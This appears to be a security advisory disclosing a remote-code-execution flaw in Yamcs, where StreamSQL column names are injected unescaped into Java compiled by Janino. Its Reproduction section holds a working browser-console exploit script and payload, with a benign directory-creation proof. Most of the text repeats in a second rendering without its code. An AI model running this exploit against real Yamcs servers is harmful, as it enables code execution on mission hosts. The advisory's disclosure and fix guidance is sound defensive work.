Overview
Yamcs compiles StreamSQL expressions to Java on the fly with the Janino SimpleCompiler (no restrictive class-loading policy or expression sandbox). When a StreamSQL aggregate such as sum(...) is applied to a column, the column's name is interpolated unescaped into the generated Java source. Because Yamcs accepts arbitrary characters in a double-quoted column identifier and applies no validation when a column is created, an authenticated user with the ControlArchiving system privilege can craft a column name that injects arbitrary Java into the compiled aggregate and achieve Remote Code Execution on the Yamcs host via POST /api/archive/{instance}:executeSql.
This is a second, independent Janino-RCE entry point sharing the root cause of CVE-2026-44632 (GHSA-524g-x36v-9wm6). The 5.13.0 / 5.12.7 fix for CVE-2026-44632 hardened only the algorithm-override path (JavaExprAlgorithmExecutionFactory, reached via MdbOverrideApi and gated by ChangeMissionDatabase). The StreamSQL expression compiler (org.yamcs.yarch.streamsql) was not addressed and remains exploitable in 5.13.0 via a different privilege (ControlArchiving).
Impact
An authenticated Yamcs user holding SystemPrivilege.ControlArchiving can cause Yamcs to compile attacker-controlled Java source through the StreamSQL aggregate expression compiler reachable from POST /api/archive/{instance}:executeSql.
The injected code executes inside the Yamcs server JVM with the privileges of the Yamcs server process, bypassing the Yamcs authorization model. Because this is ordinary Java execution, dangerous JDK APIs such as filesystem access, process execution, reflection, and class loading are reachable unless externally sandboxed. This allows compromise of confidentiality, integrity, and availability of the Yamcs deployment: access to mission data and credentials available to the process, telemetry/archive tampering, denial of service, and lateral movement from the host environment.
ControlArchiving is the archive/table/stream management privilege — distinct from both superuser access and the ChangeMissionDatabase privilege used by the previously fixed algorithm-override Janino issue (CVE-2026-44632). Scope is scored as Changed because execution crosses from an authenticated Yamcs API privilege into arbitrary code execution under the server process / host OS authority, outside the privileges granted to the authenticated Yamcs user (consistent with the maintainer's S:C scoring of the sibling CVE-2026-44632).
Technical Details
The sink: unsandboxed Janino compilation of generated Java
org.yamcs.yarch.streamsql.CompilableAggregateExpression#getCompiledAggregate() builds a Java source string and compiles it with Janino, with no restrictive ClassLoader and no class/API allowlist:
// org/yamcs/yarch/streamsql/CompilableAggregateExpression.java:26-50
String className = "AggregateExpression" + counter.incrementAndGet();
StringBuilder code = new StringBuilder();
code.append("package org.yamcs.yarch;\n")
.append("public class " + className + " implements CompiledAggregateExpression {\n");
aggregateFillCode_Declarations(code);
code.append("\tpublic void newData(Tuple tuple) {\n");
aggregateFillCode_newData(code); // <-- attacker-controlled column name lands here
code.append("\t}\n");
code.append("\tpublic Object getValue() {\n");
aggregateFillCode_getValue(code);
code.append("\t}\n");
...
SimpleCompiler compiler = new SimpleCompiler(); // generated source is compiled without a restrictive sandbox
compiler.cook(code.toString()); // compiles attacker-influenced Java source
The injection: column name interpolated unescaped
SumExpression#aggregateFillCode_newData emits, inside newData(Tuple tuple), a declaration for each input column followed by sum += col<columnName>:
// org/yamcs/yarch/streamsql/funct/SumExpression.java:38-42
protected void aggregateFillCode_newData(StringBuilder code) throws StreamSqlException {
fillCode_InputDefVars(inputDef.getColumnDefinitions(), code); // emits the column declaration
code.append("\t\tsum+=col" + children[0].getColumnName()); // emits the column identifier again
code.append(";\n");
}
fillCode_InputDefVars interpolates the column name into a Java identifier with only sanitizeName applied, and again — raw — into a tuple.getColumn("...") string literal:
// org/yamcs/yarch/streamsql/Expression.java:134-145
String javaColIdentifier = "col" + sanitizeName(cd.getName());
...
code.append("\t\t" + dtype.javaType() + " " + javaColIdentifier +
" = (" + dtype.javaType() + ")tuple.getColumn(\"" + cd.getName() + "\");\n");
// Expression.java:237-238 — the ONLY transformation applied to the column name:
static String sanitizeName(String s) {
return s.replace("/", "_").replace("-", "_");
}
sanitizeName maps only / and - to _. Every other character — ;, spaces, ( ) { } [ ], =, ., +, ,, digits — passes through verbatim into the generated Java.
The exploitable context is the Java identifier col<name>. The same method also emits the raw column name into a Java string literal used by tuple.getColumn("...") (Expression.java:140/144). This string-literal context is not required for the exploit shown here, but it should still be escaped with ValueExpression.escapeJavaString, because it is another instance of raw user-controlled text emitted into generated Java source (including Java escape-sequence edge cases) and is therefore an additional source-generation hazard, not a closed surface. (ValueExpression.escapeJavaString is correctly applied to value literals such as WHERE x = '...'; function names are separately whitelisted by FunctionExpressionFactory. The unfixed gap is the column identifier.)
Why the column name is fully attacker-controlled
The StreamSQL grammar accepts any character except newline / CR / double-quote in a double-quoted identifier, and returns the raw inner content:
// org/yamcs/yarch/streamsql/StreamSql.jj:237 and :931
< S_DOUBLE_QUOTED_IDENTIFIER: "\"" (~["\n","\r","\""])* "\"" >
<S_DOUBLE_QUOTED_IDENTIFIER> {String s1 = token.image; return s1.substring(1, s1.length() - 1);}
ObjectName() (used for column names in CREATE TABLE / CREATE STREAM) accepts this token, and neither org.yamcs.yarch.ColumnDefinition nor TupleDefinition.addColumn validates the characters of a column name (only a duplicate-name check). So CREATE TABLE evil("<arbitrary text>" double, ...) creates a column whose name is attacker-chosen text.
Why the bare-expression compiler is NOT exploitable, but the aggregate compiler IS
The general expression compiler Expression#compile() emits the column identifier in two contexts — a statement-context declaration and the return col<name>; expression. A payload carrying executable statements (;-separated) makes the code after the return unreachable, which Janino rejects ("Statement is unreachable"); a payload without ; cannot carry a side effect. That accidental barrier makes the bare-column path non-exploitable.
The aggregate path is different and exploitable: in SumExpression, both emissions of the column name live inside newData(Tuple tuple) — a void, statement-context method — and getValue() returns the accumulator sum, never the column. There is no expression-context return col<name> and no unconditional return before the injected statements, so a ;-separated, fully reachable payload compiles cleanly.
Reachability: executeSql reaches the aggregate compiler without the bare-path gate
POST /api/archive/{instance}:executeSql → TableApi.executeSql (gate ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving), TableApi.java:398-399) → ydb.execute(ydb.createStatement(statement)) → SelectExpression.compile().
Crucially, when an aggregate's argument is a plain column (not a computed expression), Yamcs sets aggInputList = null, which skips the bare Expression#compile() of the input expression that would otherwise throw on a ;-laden name:
// org/yamcs/yarch/streamsql/SelectExpression.java:196-215
boolean hasComputations = false;
for (AggregateExpression aggExpr : aggList) {
...
for (Expression expr : aggExpr.children) {
expr.bind(inputDef);
...
if (!(expr instanceof ColumnExpression)) {
hasComputations = true; // only true for sum(y+3)-style computed args
}
}
}
if (!hasComputations) { // sum("<plaincolumn>") => true
aggInputDef = null;
aggInputList = null; // => the bare compile below is skipped
}
...
// compile() (SelectExpression.java:241-252):
if (aggInputList != null) { for (Expression e : aggInputList) caggInputList.add(e.compile()); } // SKIPPED
...
for (AggregateExpression aexpr : aggList) { caggList.add(aexpr.getCompiledAggregate()); } // REACHED -> RCE
So SELECT sum("<malicious column>") FROM <table-with-that-column> reaches getCompiledAggregate() directly. The compiled aggregate's newData() runs for each processed tuple, executing the injected code.
Runtime end-to-end verification (real Yamcs 5.13.0, security enabled, ControlArchiving-only user)
The full chain was confirmed end-to-end against a real, security-enabled Yamcs 5.13.0 server (the official Yamcs quickstart, server banner Yamcs 5.13.0, build 8bf5af6fe227bbf8ead15e60644b7ddbf345d623, instance myproject, YamlAuthModule with enabled: true). Anonymous access was rejected (GET /api/instances → 401), confirming security was actually on. A non-superuser account archiver was created holding only SystemPrivilege.ControlArchiving, and a second account nobody with no privileges.
The injected payload is a benign java.io.File(...).mkdirs() whose path is built from char codes so the StreamSQL column name needs no " or /:
dummy; new java.io.File(new String(new char[]{<codes for the marker path>})).mkdirs(); coldummy=coldummy
For a double column this drives SumExpression.getCompiledAggregate() to generate and compile (real Janino) the following class, whose newData(Tuple) runs per processed row:
package org.yamcs.yarch;
public class AggregateExpressionN implements CompiledAggregateExpression {
double sum;
public void newData(Tuple tuple) {
Double coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy = (Double)tuple.getColumn("dummy; new java.io.File(...).mkdirs(); coldummy=coldummy");
sum+=coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy;
}
public Object getValue() { return sum; }
public void clear() { sum=0; }
}
Positive case — the archiver user (token obtained via POST /auth/token, grant_type=password). GET /api/user confirms "superuser": false, "roles":[{"name":"ArchiverOnly"}], "systemPrivileges":["ControlArchiving"]. Driving the three statements over POST /api/archive/myproject:executeSql:
== CREATE == create table <rnd>("<col>" double, id int, primary key(id))
{ } HTTP 200 # malicious column name accepted, unvalidated
== INSERT == insert into <rnd>(id, "<col>") values(1, 1.0)
{ "columns":[{"name":"inserted","type":"LONG"}],
"rows":[{"values":[{"type":"SINT64","sint64Value":"1"}]}] } HTTP 200
== SELECT SUM == select sum("<col>") from <rnd>
{ "columns":[{"name":"SumExpression0x6fd4b7e1d","type":"DOUBLE"}],
"rows":[{"values":[{"type":"DOUBLE","doubleValue":1.0}]}] } HTTP 200 # aggregate compiled + executed
== marker check on the Yamcs host ==
RCE-CONFIRMED (archiver/ControlArchiving): /tmp/yamcs-rce-sec-<id> created
Negative case — the nobody user (no privileges) against the same endpoint:
== executeSql as nobody ==
{ "code": 403, "type": "ForbiddenException",
"msg": "Missing system privilege 'ControlArchiving'" } HTTP 403
This establishes both halves at runtime: a non-superuser holding only ControlArchiving reaches the compiler and executes injected Java in the Yamcs JVM (the marker directory is created on the host), while a user without the privilege is rejected with 403 at exactly the ControlArchiving check. The select sum(...) compiled SumExpression through the real engine and ran the injected newData() for the inserted row. The trailing coldummy=coldummy is a valid assignment statement in both emission positions, so there is no "unreachable statement" and no "must return a value" — the constraints that block the bare-column path do not apply inside newData.
Reproduction
Pre-condition: an account holding SystemPrivilege.ControlArchiving on the target Yamcs instance. The privilege boundary is both source-confirmed (the ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving) gate in TableApi.executeSql, TableApi.java:398-399) and runtime-confirmed (a ControlArchiving-only non-superuser succeeds; a user without it gets 403 ForbiddenException "Missing system privilege 'ControlArchiving'").
Step 1 — Trigger code execution via a malicious StreamSQL column name
Open DevTools (F12) → Console as a logged-in operator with ControlArchiving, set INSTANCE, and paste:
// Run in the browser console of a logged-in Yamcs operator holding the ControlArchiving privilege.
// Demonstrates arbitrary JVM code execution on the Yamcs host via a malicious StreamSQL column name.
// Benign proof: creates a marker directory on the host. More destructive OS-command payloads are
// intentionally omitted — do NOT escalate beyond this proof.
const INSTANCE = "myproject"; // <-- set to a real instance name
const API = location.origin + "/api/archive/" + INSTANCE + ":executeSql";
// build `new String(new char[]{..})` so the payload needs no " or /
const jchars = s => "new String(new char[]{" + [...s].map(c => c.charCodeAt(0)).join(",") + "})";
const MARKER = "/tmp/yamcs-rce-poc-" + Date.now(); // marker the injected Java will create
const col = "dummy; new java.io.File(" + jchars(MARKER) + ").mkdirs(); coldummy=coldummy";
const TABLE = "rcepoc_" + Date.now(); // unique table name so re-runs don't collide
const q = s => '"' + s + '"'; // double-quote a StreamSQL identifier
const run = stmt => fetch(API, {
method: "POST", credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ statement: stmt }),
}).then(r => r.text());
(async () => {
console.log("create:", await run(`create table ${TABLE}(${q(col)} double, id int, primary key(id))`));
console.log("insert:", await run(`insert into ${TABLE}(id, ${q(col)}) values(1, 1.0)`));
console.log("select sum (compiles aggregate -> runs newData):", await run(`select sum(${q(col)}) from ${TABLE}`));
console.log(`Now check the Yamcs host: directory ${MARKER} exists => arbitrary code executed (RCE).`);
})();
Expected result: the three statements succeed and the directory /tmp/yamcs-rce-poc-<timestamp> is created on the Yamcs host, demonstrating arbitrary Java execution. (The select compiles SumExpression.getCompiledAggregate() and runs the injected newData() for the inserted row.) Observed against a security-enabled Yamcs 5.13.0 as a ControlArchiving-only user:
create: {}
insert: {"columns":[{"name":"inserted","type":"LONG"}],"rows":[{"values":[{"type":"SINT64","sint64Value":"1"}]}]}
select sum (compiles aggregate -> runs newData): {"columns":[{"name":"SumExpression0x...","type":"DOUBLE"}],"rows":[{"values":[{"type":"DOUBLE","doubleValue":1.0}]}]}
=> /tmp/yamcs-rce-poc-<timestamp> created on the Yamcs host => arbitrary code executed (RCE).
The marker directory is owned by the Yamcs service account (in the quickstart container this appeared as root:root; on a normal deployment it is owned by the Yamcs service user). The marker-directory proof uses java.io.File#mkdirs() as a non-destructive side effect; because the injected code is compiled as ordinary Java inside the Yamcs JVM without a restrictive sandbox, this primitive is sufficient to demonstrate arbitrary Java execution. More destructive OS-command payloads are intentionally omitted.
Suggested Fix
The column identifier must never be interpolated unescaped into generated Java. Options, in order of robustness:
- Do not place the column name in identifier position at all. Generate synthetic identifiers (
col0, col1, …) for input columns and map them to real names only through the tuple.getColumn("...") string argument (which should itself be escaped with the existing ValueExpression.escapeJavaString). This removes the entire class of column-name code injection across Expression, ColumnExpression, the aggregate expressions, etc.
- Validate column identifiers at creation. Reject column names that are not valid identifiers (e.g.
[A-Za-z_][A-Za-z0-9_]*, optionally .-separated for protobuf fields) in CREATE TABLE / CREATE STREAM and in ColumnDefinition/TupleDefinition. sanitizeName mapping only / and - is insufficient.
- Sandbox or restrict the Janino compilation so generated StreamSQL expressions cannot access dangerous JDK APIs such as process execution, filesystem, reflection, or class loading — defence-in-depth that also hardens the algorithm/calibrator compilers behind
ChangeMissionDatabase.
Option 1 is recommended; it fixes the root cause for all expression types, not just sum.
This is not a duplicate of CVE-2026-44632 / GHSA-524g-x36v-9wm6. That advisory covers the mission-database algorithm path (JavaExprAlgorithmExecutionFactory), reached through the MDB-override APIs and gated by SystemPrivilege.ChangeMissionDatabase. This report covers a separate StreamSQL expression-compiler path (org.yamcs.yarch.streamsql), reached through POST /api/archive/{instance}:executeSql and gated by a different privilege, SystemPrivilege.ControlArchiving. The 5.13.0 / 5.12.7 fix for CVE-2026-44632 did not touch the StreamSQL compiler, so this entry point remains exploitable at 5.13.0.
This should also not be treated as accepted risk for the algorithm subsystem. StreamSQL is a query language for archive/table/stream operations, not a documented arbitrary-Java extension point; the maintainer's "algorithms are code" residual applies only to the algorithm compilers behind ChangeMissionDatabase. The vulnerable behaviour comes from unescaped column-name interpolation into generated Java source — an implementation flaw, not an intended capability.
References
Overview
Yamcs compiles StreamSQL expressions to Java on the fly with the Janino
SimpleCompiler(no restrictive class-loading policy or expression sandbox). When a StreamSQL aggregate such assum(...)is applied to a column, the column's name is interpolated unescaped into the generated Java source. Because Yamcs accepts arbitrary characters in a double-quoted column identifier and applies no validation when a column is created, an authenticated user with theControlArchivingsystem privilege can craft a column name that injects arbitrary Java into the compiled aggregate and achieve Remote Code Execution on the Yamcs host viaPOST /api/archive/{instance}:executeSql.This is a second, independent Janino-RCE entry point sharing the root cause of CVE-2026-44632 (GHSA-524g-x36v-9wm6). The 5.13.0 / 5.12.7 fix for CVE-2026-44632 hardened only the algorithm-override path (
JavaExprAlgorithmExecutionFactory, reached viaMdbOverrideApiand gated byChangeMissionDatabase). The StreamSQL expression compiler (org.yamcs.yarch.streamsql) was not addressed and remains exploitable in 5.13.0 via a different privilege (ControlArchiving).Impact
An authenticated Yamcs user holding
SystemPrivilege.ControlArchivingcan cause Yamcs to compile attacker-controlled Java source through the StreamSQL aggregate expression compiler reachable fromPOST /api/archive/{instance}:executeSql.The injected code executes inside the Yamcs server JVM with the privileges of the Yamcs server process, bypassing the Yamcs authorization model. Because this is ordinary Java execution, dangerous JDK APIs such as filesystem access, process execution, reflection, and class loading are reachable unless externally sandboxed. This allows compromise of confidentiality, integrity, and availability of the Yamcs deployment: access to mission data and credentials available to the process, telemetry/archive tampering, denial of service, and lateral movement from the host environment.
ControlArchivingis the archive/table/stream management privilege — distinct from both superuser access and theChangeMissionDatabaseprivilege used by the previously fixed algorithm-override Janino issue (CVE-2026-44632). Scope is scored as Changed because execution crosses from an authenticated Yamcs API privilege into arbitrary code execution under the server process / host OS authority, outside the privileges granted to the authenticated Yamcs user (consistent with the maintainer's S:C scoring of the sibling CVE-2026-44632).Technical Details
The sink: unsandboxed Janino compilation of generated Java
org.yamcs.yarch.streamsql.CompilableAggregateExpression#getCompiledAggregate()builds a Java source string and compiles it with Janino, with no restrictive ClassLoader and no class/API allowlist:The injection: column name interpolated unescaped
SumExpression#aggregateFillCode_newDataemits, insidenewData(Tuple tuple), a declaration for each input column followed bysum += col<columnName>:fillCode_InputDefVarsinterpolates the column name into a Java identifier with onlysanitizeNameapplied, and again — raw — into atuple.getColumn("...")string literal:sanitizeNamemaps only/and-to_. Every other character —;, spaces,(){}[],=,.,+,,, digits — passes through verbatim into the generated Java.The exploitable context is the Java identifier
col<name>. The same method also emits the raw column name into a Java string literal used bytuple.getColumn("...")(Expression.java:140/144). This string-literal context is not required for the exploit shown here, but it should still be escaped withValueExpression.escapeJavaString, because it is another instance of raw user-controlled text emitted into generated Java source (including Java escape-sequence edge cases) and is therefore an additional source-generation hazard, not a closed surface. (ValueExpression.escapeJavaStringis correctly applied to value literals such asWHERE x = '...'; function names are separately whitelisted byFunctionExpressionFactory. The unfixed gap is the column identifier.)Why the column name is fully attacker-controlled
The StreamSQL grammar accepts any character except newline / CR / double-quote in a double-quoted identifier, and returns the raw inner content:
ObjectName()(used for column names inCREATE TABLE/CREATE STREAM) accepts this token, and neitherorg.yamcs.yarch.ColumnDefinitionnorTupleDefinition.addColumnvalidates the characters of a column name (only a duplicate-name check). SoCREATE TABLE evil("<arbitrary text>" double, ...)creates a column whose name is attacker-chosen text.Why the bare-expression compiler is NOT exploitable, but the aggregate compiler IS
The general expression compiler
Expression#compile()emits the column identifier in two contexts — a statement-context declaration and thereturn col<name>;expression. A payload carrying executable statements (;-separated) makes the code after thereturnunreachable, which Janino rejects ("Statement is unreachable"); a payload without;cannot carry a side effect. That accidental barrier makes the bare-column path non-exploitable.The aggregate path is different and exploitable: in
SumExpression, both emissions of the column name live insidenewData(Tuple tuple)— avoid, statement-context method — andgetValue()returns the accumulatorsum, never the column. There is no expression-contextreturn col<name>and no unconditionalreturnbefore the injected statements, so a;-separated, fully reachable payload compiles cleanly.Reachability:
executeSqlreaches the aggregate compiler without the bare-path gatePOST /api/archive/{instance}:executeSql→TableApi.executeSql(gatectx.checkSystemPrivilege(SystemPrivilege.ControlArchiving), TableApi.java:398-399) →ydb.execute(ydb.createStatement(statement))→SelectExpression.compile().Crucially, when an aggregate's argument is a plain column (not a computed expression), Yamcs sets
aggInputList = null, which skips the bareExpression#compile()of the input expression that would otherwise throw on a;-laden name:So
SELECT sum("<malicious column>") FROM <table-with-that-column>reachesgetCompiledAggregate()directly. The compiled aggregate'snewData()runs for each processed tuple, executing the injected code.Runtime end-to-end verification (real Yamcs 5.13.0, security enabled,
ControlArchiving-only user)The full chain was confirmed end-to-end against a real, security-enabled Yamcs 5.13.0 server (the official Yamcs quickstart, server banner
Yamcs 5.13.0, build 8bf5af6fe227bbf8ead15e60644b7ddbf345d623, instancemyproject,YamlAuthModulewithenabled: true). Anonymous access was rejected (GET /api/instances→401), confirming security was actually on. A non-superuser accountarchiverwas created holding onlySystemPrivilege.ControlArchiving, and a second accountnobodywith no privileges.The injected payload is a benign
java.io.File(...).mkdirs()whose path is built from char codes so the StreamSQL column name needs no"or/:For a
doublecolumn this drivesSumExpression.getCompiledAggregate()to generate and compile (real Janino) the following class, whosenewData(Tuple)runs per processed row:Positive case — the
archiveruser (token obtained viaPOST /auth/token,grant_type=password).GET /api/userconfirms"superuser": false,"roles":[{"name":"ArchiverOnly"}],"systemPrivileges":["ControlArchiving"]. Driving the three statements overPOST /api/archive/myproject:executeSql:Negative case — the
nobodyuser (no privileges) against the same endpoint:This establishes both halves at runtime: a non-superuser holding only
ControlArchivingreaches the compiler and executes injected Java in the Yamcs JVM (the marker directory is created on the host), while a user without the privilege is rejected with403at exactly theControlArchivingcheck. Theselect sum(...)compiledSumExpressionthrough the real engine and ran the injectednewData()for the inserted row. The trailingcoldummy=coldummyis a valid assignment statement in both emission positions, so there is no "unreachable statement" and no "must return a value" — the constraints that block the bare-column path do not apply insidenewData.Reproduction
Pre-condition: an account holding
SystemPrivilege.ControlArchivingon the target Yamcs instance. The privilege boundary is both source-confirmed (thectx.checkSystemPrivilege(SystemPrivilege.ControlArchiving)gate inTableApi.executeSql, TableApi.java:398-399) and runtime-confirmed (aControlArchiving-only non-superuser succeeds; a user without it gets403 ForbiddenException "Missing system privilege 'ControlArchiving'").Step 1 — Trigger code execution via a malicious StreamSQL column name
Open DevTools (F12) → Console as a logged-in operator with
ControlArchiving, setINSTANCE, and paste:Expected result: the three statements succeed and the directory
/tmp/yamcs-rce-poc-<timestamp>is created on the Yamcs host, demonstrating arbitrary Java execution. (TheselectcompilesSumExpression.getCompiledAggregate()and runs the injectednewData()for the inserted row.) Observed against a security-enabled Yamcs 5.13.0 as aControlArchiving-only user:The marker directory is owned by the Yamcs service account (in the quickstart container this appeared as
root:root; on a normal deployment it is owned by the Yamcs service user). The marker-directory proof usesjava.io.File#mkdirs()as a non-destructive side effect; because the injected code is compiled as ordinary Java inside the Yamcs JVM without a restrictive sandbox, this primitive is sufficient to demonstrate arbitrary Java execution. More destructive OS-command payloads are intentionally omitted.Suggested Fix
The column identifier must never be interpolated unescaped into generated Java. Options, in order of robustness:
col0,col1, …) for input columns and map them to real names only through thetuple.getColumn("...")string argument (which should itself be escaped with the existingValueExpression.escapeJavaString). This removes the entire class of column-name code injection acrossExpression,ColumnExpression, the aggregate expressions, etc.[A-Za-z_][A-Za-z0-9_]*, optionally.-separated for protobuf fields) inCREATE TABLE/CREATE STREAMand inColumnDefinition/TupleDefinition.sanitizeNamemapping only/and-is insufficient.ChangeMissionDatabase.Option 1 is recommended; it fixes the root cause for all expression types, not just
sum.Distinction from CVE-2026-44632
This is not a duplicate of CVE-2026-44632 / GHSA-524g-x36v-9wm6. That advisory covers the mission-database algorithm path (
JavaExprAlgorithmExecutionFactory), reached through the MDB-override APIs and gated bySystemPrivilege.ChangeMissionDatabase. This report covers a separate StreamSQL expression-compiler path (org.yamcs.yarch.streamsql), reached throughPOST /api/archive/{instance}:executeSqland gated by a different privilege,SystemPrivilege.ControlArchiving. The 5.13.0 / 5.12.7 fix for CVE-2026-44632 did not touch the StreamSQL compiler, so this entry point remains exploitable at 5.13.0.This should also not be treated as accepted risk for the algorithm subsystem. StreamSQL is a query language for archive/table/stream operations, not a documented arbitrary-Java extension point; the maintainer's "algorithms are code" residual applies only to the algorithm compilers behind
ChangeMissionDatabase. The vulnerable behaviour comes from unescaped column-name interpolation into generated Java source — an implementation flaw, not an intended capability.References